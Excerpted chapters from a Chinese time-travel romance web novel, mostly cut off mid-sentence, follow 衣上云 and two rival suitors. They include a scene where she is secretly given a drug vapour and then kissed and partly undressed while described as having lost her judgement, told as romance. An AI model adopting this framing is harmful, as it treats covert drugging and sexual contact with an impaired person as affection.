易君浩却只盯着她透着面纱朦朦胧胧的脸庞,一脸的沦陷其中不能自拔。 直至烟花结束消失不见,衣上云方才回头,却刚好碰上易君浩似是如何也移不开的眼睛,衣上云顿时羞红了脸。 易君浩忽然意识到她的不自在,便转眼朝天边的点点繁星看去,忽惊道“快看,有流星!” 可还没等她反应过来,便早已被易君浩伸出的温柔细腻的两只大手紧扣着其肩膀将她整个身体转了过去。 回首间,只见夜空中有俩颗流星瞬间发出耀眼的光芒,随即划破长空,一泄而下。 “快许愿!”易君浩急急又道,随即便见衣上云听话的将双手合起,置于胸前,双眼禁闭。 而就在这时,易君浩在她身后笑着,悄悄从自己的怀中取出了那支玉色小药瓶来。 他轻轻拔开来瓶塞,借着微弱的灯火,只见从玉色小药瓶里缓缓升起一股微紫色,看似像气又像烟的东西,缭绕在玉瓶上方。 他迅速将其移近至衣上云的面前,这一股股不知是气还是烟的东西便瞬间像是着了魔般,一齐欢喜的涌入注进衣上云的七窍当中…… 终于,衣上云许完了一个悠长的愿望,正缓缓睁开来那双好看的凤眼。 而就在这时,夜空中又有几颗流星从天边开始慢慢滑动,紧接着还有更多更多颗,一时间这些流星像是在搬家一样在夜空中熙熙攘攘,慢慢移位又接着渐渐向下滑落…… “今夜真的有流星雨,太不可思议了!”衣上云目不转睛,仰起头出神的看着。 “三少,你信不信我方才上山的时候,还真想今夜有一场流星雨呢。这个地方没有遮挡,极为适合看流星雨。”衣 第八十六章:都是轩辕皇族的 易君浩看着衣上云的脸若有所思,片刻后悠悠道“当你遇到那个人后,你会觉得自己的眼里只剩下她。你会怕看到她皱起的眉头,她的一颦一笑,她的喜怒哀乐,都是你时时刻刻最在意的。可偏偏,你为她所做的一切,她却永远都不会知道,你会患得患失……” 就当易君浩满脸陶醉滔滔不绝想要继续说下去的时候,衣上云忽然似是领悟,便开口阻止道“三少说的,可是你喜欢的人?” 易君浩听了,半眯着那对桃花眼笑着对其颔首。 衣上云回过神来,表情有些凝重,心里暗自嘀咕“难道老道儿所说的那个人,指的是我喜欢的人?可我喜欢的人,也只有身在21世纪里的魏明轩啊!这个时空里,怎么会有魏明轩?不对,老道儿所指的一定另有其人。” 许是因为山里太冷,许是因为心里忽生落寞,衣上云突然打了个喷嚏“阿嚏”。 这时,易君浩急急伸手帮她把斗篷裹得更严实一些,关切道“山里风大,流星雨也看够了,我们下山吧,三哥哥请你喝酒去。” 衣上云对他淡淡一笑,十分羡慕他有酒肆意的人生。 说着,易君浩便起身来一手挑着梅花四角灯,另一只手像是怕惊吓到她似的,小心翼翼地试探着伸过去想要握紧衣上云的手。 许是因为此时一双纤纤玉手太过冰凉,急于找一物取暖;又许是因为夜太深,天色太暗,怕在这深山中跌倒而互相扶持;还可能是因为直到现在,她的心里已经真的卸下了防备,坦坦荡荡地接受了这个自称是她三哥哥的人。 衣上云竟欣然接受了易君浩此时向自己递来的一手紧握和他的温度。 第一次真真切切的将她的手紧紧握在自己掌心,易君浩的脸上,顿时漾开一片幸福的喜悦之色。 随之俩人相视而笑着转身,易君浩却像是发觉了什么似的突然止步。 易君浩自小习武,已然早就察觉到了潜在身后暗处许久的轩辕翰主仆俩人。 确切地说,早在薛掌柜接了衣上云一出衣府大门,便早已察觉到被人跟踪了。 那又如何?其实,这一切,都是易君浩事先安排好的。 今夜,易君浩就是要故意对轩辕翰视而不见,让其吃醋吃的发狂,他故意挑衅他,轻视他。轩辕翰越怒,他心里就越得意。 “秦王殿下,出来吧!”只见易君浩蔑视着前方,幽幽道。 轩辕翰听了,狠狠瞪了一眼眼前的易君浩,方才缓缓地从一排海棠树的枯枝后面走了出来,程良紧跟着。 衣上云闻之一惊,急急抬头看过去,低声疑惑道“秦王殿下,你怎么会在这儿?” 谁知话刚一说完,便恰好撞上了轩辕翰射过来的一双冷眼,那双充满寒光像 是要将她活生生吞下去的深眸。 四目相对,衣上云却不知为何,瞬间像个犯了错的孩子一般,迅速地悄悄抽出被易君浩正紧紧握着的手,随即后退了两小步,怯怯地将头深埋了下去。 谁料只不过须臾间,轩辕翰的双脚竟出现在她此刻低垂着的面前。 也不知为何,她的心竟“扑通扑通”极为不安的跳了起来,像是预感到有什么大事即将发生。 她一双冰凉而又紧张的玉手,紧紧攥住了自己的衣角。 轩辕翰近身过去,怒目看到她此时俨然像只受惊的兔子般楚楚动人的样子。 再看看她因为紧张而紧紧攥起的一对秀拳,又气又笑,但他将那份更多是觉得好笑的表情全部压制起来,只冷冷地对其责备道“本王来这里接你回家,本王若再不来,竟不知你自何时起,都敢与人私自幽会了。秦王府可不能因有你这等品性的医女而蒙羞。” “殿下,云儿暂且还不是秦王府的医女,最多也尚还算是一名御药房的药女而已。所以,殿下此话又从何说起呢?”衣上云思量过后,怯怯地为自己辩护。 然轩辕翰一听,虽表面上不动声色,但心里却早已不知有多愤怒,最后只更霸道地似是提醒她道“不管是御药房还是秦王府,都是轩辕皇族的” 衣上云闻此,这才收了声,似乎自己已是无言可辨,只能忍气吞声。在这个时代,皇权怕是任谁都不能挑衅的。 接着,轩辕翰才朝着易君浩轻蔑地说“谷主大人今夜费劲心思,安排给本王如此精彩的一出戏,本王也都如约欣赏完了。不知谷主大人给本王府的医女所服的奇药,究竟是真是假?” 易君浩不容置疑,想都没想,便满腹自信的甩了他一句“怎么会假?本谷主买卖药材,何时出错过?” 轩辕翰等的便是他这句,此话刚一出口,他便怒目着恶狠狠地一步上前,拉起衣上云的手扭头便要离开。 衣上云尚还在思量他方才对自己所说的那番话,究竟是何用意?却瞬间被钳制住她手的那只因常年练剑,磨出些老茧大而又力的手惊住,露出一脸错愕的表情,道“殿下这是做什么?!” 而话音尚还未落,轩辕翰便迅速将手松开,却是转而向下极为顺利地揽住了她纤细的腰肢,随即腾空而起,驾着极好的轻功离开了这片空旷之地,衣上云瞬时惊的瞪大了眼睛说不出话来。 只留下易君浩与程良俩人不明所以地怔在原地,看着他们离去的背影一时傻了眼,一动不动。 “谷主大人莫怪,我家殿下行事一向如此霸气,雷厉风行,让谷主大人受惊了 第八十七章:意乱情迷,不省人事 无论此时的吻,已有多么深情。在轩辕翰的心里,却总觉得这一切都还远远不够。 她的善良、她的勇敢、她的美好、她的一颦一笑,就像都早已经刻在他的心头,久的像是已有千年万年。 于是,对她的渴望和期盼也随之更加明显和强烈。 此刻,他唯有将她吞到自己的腹中。如此,她便再也不能离开,也无法再被别人惦记。 于是,他更进一步,轻轻试探着欲要撬开她的齿贝。 而衣上云此时,果然已经完全失去了理智和判断力,一双世间至美的凤眼紧紧闭着,两道浓密纤长的睫毛扑朔迷离。 他再次很快便成功的撬开了她的皓齿。眼睛微张开来,看着她此时亦是如痴如醉着,像是心头瞬间涌满着各种情愫。 他轻轻闭起那双天生一贯冷厉,而只有此刻亦是平生第一次如此温柔的深眸。 而她此时却终于控制不住,竟从他紧紧拥着她温暖的怀中小心翼翼地缓缓抽出细柔的双臂来,搂住了他的脖子开始回应。 俩人唇齿交织在一起缱绻缠绵着,俩个正身处寒冬郊外的山涧里,像是已孤寂了太久的炙热滚烫的身体紧紧贴在一起,吻的彼此都快要喘不过气来。 而就在此时,衣上云手腕上的七彩金丝彩玉镯子竟悄悄地在双眼禁闭的俩人身后,发出了一道紫色的耀眼光芒,却像是在为他们庆祝一般,在一旁翩翩起舞。 然而这一切,此时交织缠绵在一起难舍难分的俩人却无一人发觉。 即使已经如此亲密了,轩辕翰觉得这却还似是不够。 她已然被吻的彻底无力地酥软在他的怀里,而他炙热的唇齿也忽然放开了她,呼吸粗重着…… 却忽然转向亲吻起她的耳廓、舔咬她的耳垂、一路顺势缱绻而下,深深地埋头在她酥软的香肩窝里,啄着她的玉颈、吮吻起她好看的锁骨。 突然,他霸气地将她再次抵回到粗壮的雪松树上,竟将一双大而有力的手缓缓触向她胸口,那缠绕在衾衾华服上,挺立于衣领袖口间,盘出千千结,扣住缕缕香。一圈一环,一绕一结,每一盘都是妩媚,每一扣都是优雅,藏着女子无可言说的秘密的金鱼盘扣。 一颗、两颗…… 他紧贴着她的身体用力抵着,手每每触到她柔软的身体的时候能明显感觉到她心跳加快的速度,快得让他不断失控,对她的爱也越来越发狂。 他想,他这一生,只有她也只能是她才能让他彻底放纵自己,暴露出自己的天性…… 而就在她“砰砰砰”的一声声急速的心跳声中,他忐忑地准备继续扯下她上身那道最后的防护,去触摸那最为男人着迷喜欢,她最柔软骄傲的禁区时,他的手却突然僵住… … 因为,此时衣上云在这场意乱情迷中,竟情不自禁地唤了一声让他一直以来都觉得极为惶恐不安和极为刺耳的“魏明轩”三个字。 这一声轻唤,娇娇柔柔,柔若无骨。而她的脸上,此刻却紧闭着眼睛一脸的沦陷。 因这一声,他瞬间从这疯狂的迷情中彻底清醒。 而就在这时,像是在欢舞雀跃的七彩金丝彩玉镯子所发出的紫芒亦是瞬间消失散去…… 随即,他伸手帮她拉好红色斗篷将其身体裹紧,蹙眉一脸怒目地瞪着她。 而衣上云也很快感觉到了这噶然而至的拥吻,随即缓缓张开了眼睛。 这才看清楚眼前的人并非魏明轩,而是轩辕翰;而眼前的这个世界亦还是千年前陌生的西秦国,而非她熟识的21世纪。 意识到这点后,她再猛一低头便看到自己的一身凌乱被轩辕翰紧紧攥在手心里,她立马瞪大了眼睛倒抽一口凉气,瞬间尴尬至极,惊慌失色地匆匆背过身去。 轩辕翰亦是同时将身体扭过去背对向她,只侧着脸似是失望又像是埋怨地朝她冷声道“你放心,本王碰了你,就会对你负责。” “不必!”衣上云一边整理自己的衣装,一边朝身后的轩辕翰坚定地说道。 轩辕翰一听,便更怒了,眉头瞬间皱得更紧了些。心想,这又蠢又笨的女人,此刻竟还能说出如此坦然又大方的话来,竟想都不想就拒绝了他。 他原本就没想到今夜会发生这样失控的事来。明显,今夜易君浩的设计很是成功,成功地摧毁了他多年以来的沉稳内敛的意志力。 可他无论如何都没想到,这个女人面对这种事情,竟如此看的开。 正常来说,一个尚未出阁的女子与一男子发生如此亲密的肌肤相亲之事,这般有损名节的事,此时不应该都是极为忐忑不安的吗?…… 忽然,一种莫名的伤感和疑虑油然而生,莫非是自己看错了她,这个女人的本性就是如此放浪不羁…… 不过,无论如何,她刚才竟然把他当成了那个魏明轩!原来,今夜本王只是那个人的替身。 真是不可饶恕!轩辕翰心里狠狠道。 不过,即使如此,如今一切也都已经晚了,她既然惹火了本王,那一切就不由得她了。 就在他满腹怒气冲冲,准备转身要狠狠警告她一番时,眼睛的余光却突然瞥见她侧躺在参 第八十八章:吻痕 “殿下” 浓浓的夜色里,程良一眼便认出来从这片漆黑的夜里走出来的正是他已等候多时的主子——轩辕翰。可他怀中正横抱着的…… 已来不及去想究竟发生了何事,他似是本能的嘴里吃惊的轻唤一声,便一把夺了薛掌柜手中的梅花四角灯,急急朝着轩辕翰快步奔跑过去,薛掌柜顿时怔在原地一脸惊愕着。 听到了程良疾跑的脚步声,易君浩方才缓缓侧目朝程良所去的方向看去。 而刹时间,他也被这眼前的一幕惊到。 轩辕翰坏中横抱着的不正是方才还好端端站在他面前,又欢又喜的他的丫头吗。 只听他极为不悦地喃喃自语道“怎么回事?”,便也匆匆迈步跟着程良的方向而去。 “易三少,你究竟配的什么药?为何她服药不久后便无端昏迷了。”易君浩刚匆匆上前到轩辕翰身旁,便被轩辕翰厉声吼道。 “轩辕翰,你把她怎么了?”几乎是同一时间,易君浩亦极为愤怒地对其质问道。 四目相对,俩人同样冷厉的目光瞬间撞击在一起,擦出了渗人的火花,一时间空气里充满一股浓郁的火药味。 但终究,因为此时还是以衣上云的安危为先,俩人也算是还尚有这一点不言而喻的共识。所以,也都暂时隐忍下了各自心里升起的这股怒气。 随即,易君浩厉声道“快把她放下!” 轩辕翰不懂医术,除了摸到鼻息是正常的之外,其它什么也做不了。 而现在又身处距离西秦京城甚远的北郊之外,自知此时也只有山下的易君浩才能查明她晕倒的真正原由。 于是,他终于将紧紧抱了一路的衣上云轻轻放了下来,让她依偎在自己怀里,程良急忙上前搭手。 易君浩迅速弯腰蹲了下来,翻动查看了她的眼睑,似乎有些疑惑,又拉起她的手来诊脉。 片刻后,易君浩满脸凝重的表情似是有些缓和,然依旧忧心忡忡地皱着眉头。 接着,只见他从身上摸出一个玉色的小瓷瓶来,拔开瓶塞迅速靠近到衣上云面前,瞬间便有一股紫色雾气从中袅袅升起,随即一齐窜入了衣上云的七窍之中。 这次昏迷,显然和上次在轩辕翰大婚之日的昏迷不同,这次似是比上次要更为严重。 因为即使用过了易君浩的独家秘方,也无法使她立刻苏醒。 片刻之后,见已经用过药的衣上云丝毫没有半点起色,轩辕翰眉头紧皱质问道“到底怎么回事,既然已用了药,为何到现在还未醒来?你的药是不是配的有问题,是心里没有把握?所以才诓骗她说是世外高人的药方,如此这药即使会产生什么不好的作用,她也不能责怪于你。是不是?” 易君浩本就急怒着,也心烦着 ,他不知衣上云为何总会出现这样奇怪的症状,像病不像病,却有点儿像是丢了魂…… 就在他还在沉思的时候,忽然听到轩辕翰这话,瞬间爆怒,对着他怒吼道“不许你质疑本谷主,本谷主怎会是那样无能又卑鄙,担不起责任之人。” 论医药之术,易君浩从还没开始学说话的时候,就对草药产生了极大的兴趣,他是一个不折不扣的“药痴“”医痴”,这天下如果他算第二,就绝不会有第一存在; 论责任,在这天底下,没有人会知道,他最想负责的便是他的丫头。一生一世,他只想陪着他的丫头,对她负担一生。可偏偏丫头却始终都不曾对他有丝毫动容。 他不是没有努力过,经过之前种种有意无意的表白示意,丫头都只是会离他越来越远。 而他,也终于意识到,只要丫头健康快乐,只要能时时见得到丫头,只要丫头不拒绝他,只要丫头跟他在一起没有任何负担,他便做什么,亦或他最终会成为丫头的什么人,这一切就都不那么重要了…… 想到这里,易君浩叹了口气,看着衣上云紧闭起的眉眼,幽幽道“本谷主对丫头说这药是世外高人所制,并不是因为本谷主怕配的药有问题,也不是本谷主对这药性没把握,本谷主更不会诓骗她,就算是要本谷主去死,本谷主又怎会拿丫头的身体来做试验呢?说到责任,你更不会知道本谷主多想对丫头的一辈子负责到底,只可惜……” “既然都不是,那你此举究竟为何?”轩辕翰紧紧搂着怀里的衣上云急问。 易君浩回过神来,道“丫头心思重,本谷主只是不想丫头因此事心里有所负累,不想她觉得亏欠了本谷主而已,本谷主只想看到她一生快快乐乐,健健康康就好。” 原来竟是这样,轩辕翰这才意识到原来易君浩对衣上云的心思竟也是如此细腻而又厚重,不禁心里生出一种自己也说不清楚的感觉来,随即将眼睛转向身旁的程良。 程良亦是恍然大悟,又觉有些伤感,可心里自然还是向着自己主子的。 于是,程良看了一眼轩辕翰,朝易君浩开口道“这腊月春说到底,也是因为有我们殿下相助,你才能成功得手。再说了,要不是你先到一步寻到了腊月春,又发生了雪流沙,破坏了其生长住所,就凭我们殿下的功力,为衣姑娘寻回腊月春的怕就不是你易三少了?所以,谷主你也不必太纠结于心,还是释怀点儿比较好。只要衣姑娘的腿能好,便比什么都重要了。” 程良的这段话,是对易君浩的宽慰,也是对易君浩的警告,警告他这个世上不是只有他才能为衣上云做这 第八十九章:都是他的气息 易君浩看着其渐去渐远的背影,双拳紧紧握着,那双平日里如十里春风般细长而又温柔的桃花眼,此刻却似能放出剑来。 是夜,布置喜庆却也不失威严与庄重的秦王府,里里外外却格外安静。 虽说主子们都入了宫去,可府里的奴才们却都一如往常,仔细的各自当着各自的班,丝毫不敢懈怠。 此时,陆天骄平生第一次独自一人用了年夜饭,虽都是梅汐媛特意嘱咐,早就安排好的人间美味。不过,也确实都是陆天骄长这么大几乎闻所未闻见所未见过的一些吃食。 然却终究她总觉得食之无味。自是没有往年在西秦学院里,一堆师兄师弟争着抢着一起吃饭来的温馨热闹。可为了轩辕翰,为了自己从小到大心底的那份夙愿,她却义无反顾的选择了这条荣辱齐驱的不归路,正所谓‘不成功,便成仁’。 陆贤本就终日忙于学院管理外加上研究之事颇多,对她传回去学院的消息‘说要留在秦王府照顾陪伴秦王妃数日’也没多说什么。 反倒是她的哥哥陆天麟又一次不厌其烦语重心长地劝诫她‘大势已定,该回头时便当回头,再多留恋与纠缠,终是误了自己一生而已’。 显然,陆天麟自知他这个人如其名,目空一切、娇纵傲慢的妹妹,怎会是那种无缘无故,甘愿屈身侍奉别人的主儿。定是对轩辕翰终不死心,不知道又想做什么…… 不得不说,陆天麟真的变了,他再也不是以前那个虚度光阴的纨绔子弟。 陆天骄其实心事重重,从小她便骄傲自满,不屑与人倾诉排解,即便是自己最亲近的父亲和哥哥。所以,养成了看似表面性情温文尔雅,实则,在那副娇柔的身体里暗藏着的是一个极容易暴怒和极端的心机颇重之人。 这会儿,她独自呆在房里想到这一切,顿显黯然神伤,觉得胸口闷的快要喘不过气来。 抬头望向窗外,忽然被窗外夜空里悄然飘至的漫天飞雪所吸引,于是从房里悠悠地走了出来,独自一人在回廊里跺步着赏起雪来。 不知不觉间,她竟恍恍惚惚地来到了轩辕翰的寝殿林月轩附近。索性便在距离林月轩不远的回廊边驻足停了下来。 虽说今夜轩辕翰与梅汐媛一同入宫参加皇族的除夕家宴,并不在府里。 可林月轩里仍是按照旧俗,燃起了除夕夜家家户户必点的长明灯。所以,今夜的林月轩并不像往日里,寝殿主人不在殿内,里面便是漆黑一片。 眼前这温暖的烛火,让陆天骄错觉地以为,轩辕翰此时就坐在殿内的某一个角落,正一张尊若神邸的俊脸认真严肃地处理着公务,又或许是在用一张极尽温柔精致的轮廓在全神贯注地研究一部治国古籍…… 想着想着,陆天骄姣好的面庞上露出一丝痴迷的笑来。仿佛所有沉淀在心底多年,方才又一齐涌上堵在自己心口的那些烦心事,都瞬间灰飞烟灭了去。 不禁口中柔情似水地低吟出一声“翰哥哥,你可知道,这么多年来,天骄…真的好想你。今夜,天骄好想亲口对翰哥哥道声…新年快乐……” 可她突然似觉得这个距离还不够近,她还想离地更近些,可回过神来看看周围,这才发现,原来自己脚下已到了禁区的边缘。 因为王府的每一处都有若干暗卫把守着,她已不能再继续往前。于是,便缓缓屈膝在脚下的回廊边上坐下。 她痴痴地望向那个让她魂牵梦绕的那个人的寝殿迷离遐想着,口中自言自语道“翰哥哥如此尊贵之身,他的寝殿会是什么样子的?又会有怎样迷人的气息呢?……” 想着想着,她竟情不自禁地闭起了那双大大的眼睛,想要用心感受她周围的一切。 身处此地,让她觉得就连同充斥溢满在这周遭里空气的味道,也都只是轩辕翰一个人的味道。 轩辕翰走过的路,他无意间拂袖而过时,洒落在树枝上的淡淡体香,他可能曾站在林月轩门口痴望着庭园里的楼台水榭,草木假山的眼神,这里一切的一切都让她浮想翩翩、极度沉迷,欢喜若狂…… 她时而睁开一双极尽柔情的眼睛,仔细观察这院中的一景一物;又时而闭眼凝神,全身心的感受某人多年来留在这里的美好气息…… 突然,她似是感觉到有个身影从她身旁匆匆飘过,陆天骄急急睁眼,只见那人步履急促,像是径直朝着林月轩寝殿而去。 “是翰哥哥!”她的直觉告诉她只有轩辕翰才能如此顺利地进入林月轩,否则,隐在秦王府的暗卫一早就出来拦截了。 于是,她迅速起身来,借着林月轩殿门被开启时所照射出的一道强光,她终于看清楚那进入寝殿的身影,正是她此刻心里碎碎念着的她的翰哥哥,轩辕翰。 可一回神,她又疑惑地喃喃道“宫里的除夕家宴这么快便结束了?他怀里…仿佛抱着一个女子……是梅姐姐?他们从宫里回来了?太好了……” 于是,她笑盈盈地急急转身往韶华阁方向而去。 林月轩寝殿,轩辕翰一进来,便温柔地伸手除去衣上云身上的红色斗篷,然后将其一把轻轻地横抱起,放到自己豪华宽大又舒适的床榻上,小心翼翼地替其盖好一条明黄色的锦被,这才自己走过去,一把也扯掉了身上悄悄已落了一层飞雪的玄色斗篷。 再次回来时,衣上云正一双美目紧紧闭起,安静地躺在他平日里最习惯躺着的位 第九十章:当年,恩人所愿 城西衣府,衣上坤的书房里。 昏暗的烛火下,他正端坐在书案边望着一本医书发呆,然他此时的心思可并不是放在这本书里,他只不过是在回忆很多年前赠他这本医书的恩人而已。 其实这本医书并不是什么名医大家之作,而正是那位恩人所著,里面却都是些世间极为罕见的奇花异草的图片以及其功效主治和其生长环境,还附有一些疑难杂症的处方记录。 也正是因得了这本秘籍,他才会从当年一个家徒四壁的深山里的小药农,成为今天御药房的一名大药师。 想着想着,他忽然发出似是尤为惋惜的一声长叹。 这时,年氏捧着一碗红枣莲子羹走了进来,亦是同样叹了口气,对他说道“也不知那世外高人到底是真是假?是否真的能医好那孩子的腿?这孩子也真是够可怜的,一生下来便没有父亲,母亲家中更是不知发生了何变故,她拼了命撑着一口气,一生下这个孩子就撒手人寰了。本就是这世间一个孤孤单单的灵魂,如今要是连双腿都废了,那今后可该如何是好啊?她才十七岁而已,正是一个女子大好的年华……” 话音未落,衣上坤连忙放下正要入口的红枣莲子羹,对她急急说道“以后说话多留点儿神,怕是那孩子心里已经有所怀疑了?” 年氏惶恐,转念间,忽道“对了,前几天她还拿着当年恩人留下的那个金丝玉镯在我们面前故意张扬,像是想窥探些什么?莫非她真的知道了什么,心里起了怀疑?” “嘘”衣上坤示意她收声,年氏只得停了下来。 衣上坤方才压低声音幽幽道“这么多年,我们都将这个秘密隐藏的很好。自是有人偷听到了什么,对她说了。不过听燕儿所言,应该是没有暴露什么关键重要的信息。如果此时追究反倒会显得我们真的隐藏了什么秘密,倒不如不闻不问,就当什么事都没发生过,日子久了,她追查不出什么进展,自也就会慢慢淡忘的。” 年氏点点头,同意道“老爷说的极是,此事只要我们不说,便永远不会有人知道。她便永远都只是衣府的大小姐。只是眼下,这年纪轻轻的,她的腿要是真的好不了了,那该如何是好呢?这样的话,我们又该如何对恩人交待?” “唉,都是老夫连累了她,让她进了宫,跟那些皇族之人纠缠在一起。如今,又被皇上赐给了秦王府,那秦王与皇上之间,任谁看不出俩人只是表面和气。如今,秦王在朝中的羽翼也日渐丰满,怕是这距离变天的那日已为时不晚了!”衣上坤有些懊恼而又甚是忧心地说道。 然年氏却对他所言不以为然“可秦王确实比皇上宅心仁厚,更爱民如子啊。这年头,兵荒马乱,外忧内患的, 这哪次敌国来犯我西秦边境,不都是秦王殿下亲临征战,战无不胜嘛。而皇上却只知道躲在那富丽堂皇的宫殿里,一味地增加赋税,苛扣鱼肉百姓来扩充国库。叫我看,这西秦早晚都是秦王的囊中之物,那也正好顺了天意和民愿。秦王,他可并非池中之物!” 衣上坤听闻年氏此言惶恐至极,惊声呵斥道“你一个妇道人家,不要妄议朝政。我们这样的身份,想要一家人平安度日,就要懂得并遵从中庸之道。那些人,可都不是我们这样身份的人所能惹得起的。” “可云儿势必已经是要进秦王府当差的人了呀,如此若真有那一日,以后她岂不是也要受到牵连,保不齐,还会祸及我们整个衣府上下。这变天,可不是小事啊……”年氏更加担忧地道。 衣上坤沉思片刻,深叹口气,无奈道“许一切都是天意,冥冥中想躲也躲不过。当年恩人临终前在她脸上施毒,就是不想有人认出她。也好让她一生简简单单安乐地做个普通百姓家无忧无虑的女子,千叮咛万嘱咐我们千万不要让她与皇族接触,可偏偏她还是与那些人纠缠在一起……” 年氏忽然将其打断,插话道“早知今日,当初就不该让她进宫去为老爷奔走,这才……” 一室寂静,俩人都不再说话。 就在这时,一名小厮轻轻叩门,道“老爷,秦王府有位官爷来访。” “秦王府?”衣上坤顿时惊道。 年氏亦瞬间惊醒回神,问衣上坤,道“真是怕什么来什么,这大过年的,秦王府到这里来做什么?” 衣上坤有种说不出的感觉,觉得怕是又与衣上云有关。于是站起身来,叹口气,说道“是福不是祸,是祸躲不过。去看看就知道了。” 年氏紧随其后一起走了出去。 衣上坤在宫里御药房当差多年,对于程良还是认得出的。一进门便客气地拱手迎上去,道“原来是程将军,幸会幸会,不知程将军今夜光临寒舍,有失远迎,还望恕罪。” 程良自是受主子之命,前来通知衣上坤“衣药师不必多礼,本将军今夜这么晚前来府上叨扰,是因为我家娘娘今日与殿下一同入宫参加宫里的除夕晚宴,在回府途中忽然身有异样。路上又刚好遇到衣姑娘,所以将她一同带至秦王府,留衣姑娘在王府里照料几日。过几日等娘娘身体好些了,秦王府自会有人亲自送衣姑娘回来。特此前来告知衣药师一声,免得你们替衣姑娘担心。” &n 第九十一章:没有说那句话的资格 时间一点一滴地过去,然衣上云整个身子仍是滚烫滚烫的,依旧丝毫没有一点意识和反应。此刻,她应该是很难受的,再这么下去,怕是她会撑不住的。 瞬时间,轩辕翰终于按耐不住,平生第一次如此又急又乱,随即起身来眉头皱的紧紧的,单手负后,双拳紧紧握着来到窗前。 忽然,他抬眼看到了夜空中正扬扬洒洒飘落着的鹅毛大雪,随即连忙低头一看,地上却只不过铺了浅浅的一层,踩上去怕是连脚印都留不住。 有点沮丧,却无意间眼睛扫到了院落里一些处在阴暗的角落,都还有些许积雪未来得及融化,在那微弱的烛火照耀下泛着星星点点的白光。 这时,他心里生出一个主意来。 “来人”一声令下,一名暗卫闻声很快进入寝殿。 “殿下有何吩咐?”暗自朝其恭敬地行礼问道。 “找俩个人来,把浴桶放在林月轩殿外,再多找些人搜集各处积雪冰块,将其全部倒入浴桶,快!”轩辕翰急急吩咐道。 暗卫虽心中疑惑,但自也不敢多问,只领了命便急急退出去照办。 只不过须臾,林月轩门口便出现了一只盛着大半桶积雪和冰块混合物的浴桶。 夜空中,鹅毛大雪纷纷起舞着。似是永远都只想做个洁白无暇的优美舞者,而不想落地为泥,却最终还是无奈地飘落下来混入泥土里,终化为泥。 轩辕翰坐在榻边,恋恋不舍地再次看了眼躺在自己榻上,昏迷又突发莫名高热的衣上云一眼。便起身来很快除去了身上厚厚的锦袍和中衣,只贴身穿着一件单薄的白色底衣。 接着,便打开了林月轩的殿门就这样只身走了出去。 刚出门,一阵凛冽的西北风将一股股冰冷的风雪吹到他身上,他却直挺挺地站在这冰天雪地间,丝毫没有迟疑,径自一脸坚定地朝着门口装满积雪冰块的浴桶走去。 此时,躲在旁边不远处回廊暗处的陆天骄心中一惊,低声自言自语道“翰哥哥这是在做什么,他为何穿着如此单薄?难道…他刚与衣上云那贱蹄子做了那种事情……” 想到此,她顿时恨得将牙齿咬的咯咯作响,一只手紧紧地捏着回廊上的栏杆,愤怒的像是想要将它捏碎一般。 而刚一回神,却看到轩辕翰朝着门口那个刚被人装满积雪冰块的浴桶里抬脚踏了进去。 “翰……”陆天骄在一边暗处大惊,差点喊出声来,瞬间捂了自己的嘴,拼命摇着头,用甚是心疼的眼神望着他,不知道他到底意欲何为? 只见轩辕翰踏进浴桶后,在里面坐了下来,撑开双臂。抬眼看着夜空中正一片片飘落着的鹅毛大雪,心里眼里却都是衣上云的一颦一笑和她今夜给予他的无限温柔似水 ,她的软绵,她的迷离,她的温度。 全然不顾自己周围正堆满了冰雪块。只满心希望这冰雪块的温度能迅速侵入自己的身体,使他足够冰凉,冰凉地足够让他退掉衣上云身上突发的这场高热。 许久后,他觉得就是这种寒度了,这才急急起身来快步进入寝殿内。来到自己暖和舒适的榻边,将衣上云温柔地扶起,随即紧紧地揽入自己冰冷的怀中,让她贪婪地吸取自己身上的冰凉。 而衣上云果然很喜欢这种冰冷。很快,她的脸色便真的不再那样通红,渐渐向着正常的脸色变化着。 他见了满心欢喜,庆幸这种法子真的凑效了。没过一会儿,他接着又再次起身走出寝殿,踏入冰雪块浴桶,循环着之前的动作,一次又一次…… “殿下,你这是在做什么?”这时,程良刚从衣府传话回来。一进门便看到眼前这让他惊愕不已的情景,大惊道。 然轩辕翰却丝毫顾不上理他,唯怕自己一停下来,殿内他榻上躺着的人儿好不容易退下去的一点儿热度,会不会又升起来。 他不能容忍让这样的事再次发生,只自顾自地进去寝殿,急着传递给衣上云此时所急需的温度。 程良不明状况,随即匆匆跟到窗前窥视了一眼。 跟着,只见他愤愤地回首离开,随后一双深邃的眸子半眯着咬紧牙根,紧握的一拳狠狠砸在陆天骄所在的回廊边的一棵芭蕉树上,懊恼道“该死的!” 他是在心疼这个主子,也是在恼自己这个时候竟什么忙都帮不上,无力至极…… “啊!”回廊边檐,芭蕉树的树枝上落了些许积雪,被程良重重的拳头震落下来,刚好落在陆天骄的头上。加上寂夜无声,陆天骄自是本能地被惊吓出声。 “谁在那里?出来!”程良亦同时被她所发出的尖叫声惊道。 “是我,程将军”陆天骄这才怯怯地从暗处缓缓走了出去。 “陆小姐?你在这里做什么?”程良看看四周,不知道此时陆天骄为何鬼鬼祟祟独自躲在这阴暗的角落里,疑问道。 “喔,程将军,今夜是除夕大年夜,可殿下和王妃姐姐都入了宫去,天骄一人在房内百无聊赖,孤独冷清。趁着夜里飘雪,便想出来随便走走,看看这王府夜里的雪景。不知不觉就走到这里来了,天骄这就回去……”陆天骄被程良发现,唯恐惊动轩辕翰被他识破,便急急 第九十二章:繁华落尽,残梦不醒 陆天骄怒彻心扉,愤愤地孤影离去。 程良望着其离去的背影略一沉思,又转念上前关切道“殿下,衣姑娘怎么样了?” “已经退热了。”轩辕翰这才深吐一口浊气,沉声道。 犹犹豫豫间,方才拜易君浩所赐看到的衣上云颈上的吻痕,总是时不时地闪现在自己的眼前。 程良终于还是忍不住开口问道“殿下,衣姑娘是不是终于接受殿下了?方才你们在城外是不是发生了那种事?” 看着轩辕翰半天不出声,就在程良内心忐忑地准备又挨一记冷眼或是训斥时,却意外地发现轩辕翰像是在回味什么美好的记忆似的,嘴角竟勾着一抹好看的弧度。 “殿下,殿下…”真的是站着也能做梦,他家主子也真算得上是神人了。程良见其回忆的入了神,便俯身在他面前一声一声地轻唤着,又唯恐惊扰到他的美梦。 片刻之后,轩辕翰忽然醒过神来,竟还悄悄飘过一丝抿嘴温柔的微笑,更出乎程良意料的丢了他一句“是,发生了。” 说完,便迈起轻盈的脚步转身朝着林月轩寝殿里面进去。 程良顿时惊呆了,激动的说不出话来,站在雪地里硬是愣了半天动弹不了。 最后,似是本能的掐了掐自己的腮帮子,道“噢…疼…这一切都是真的,这么久的患得患失,如今殿下终于要了她……” 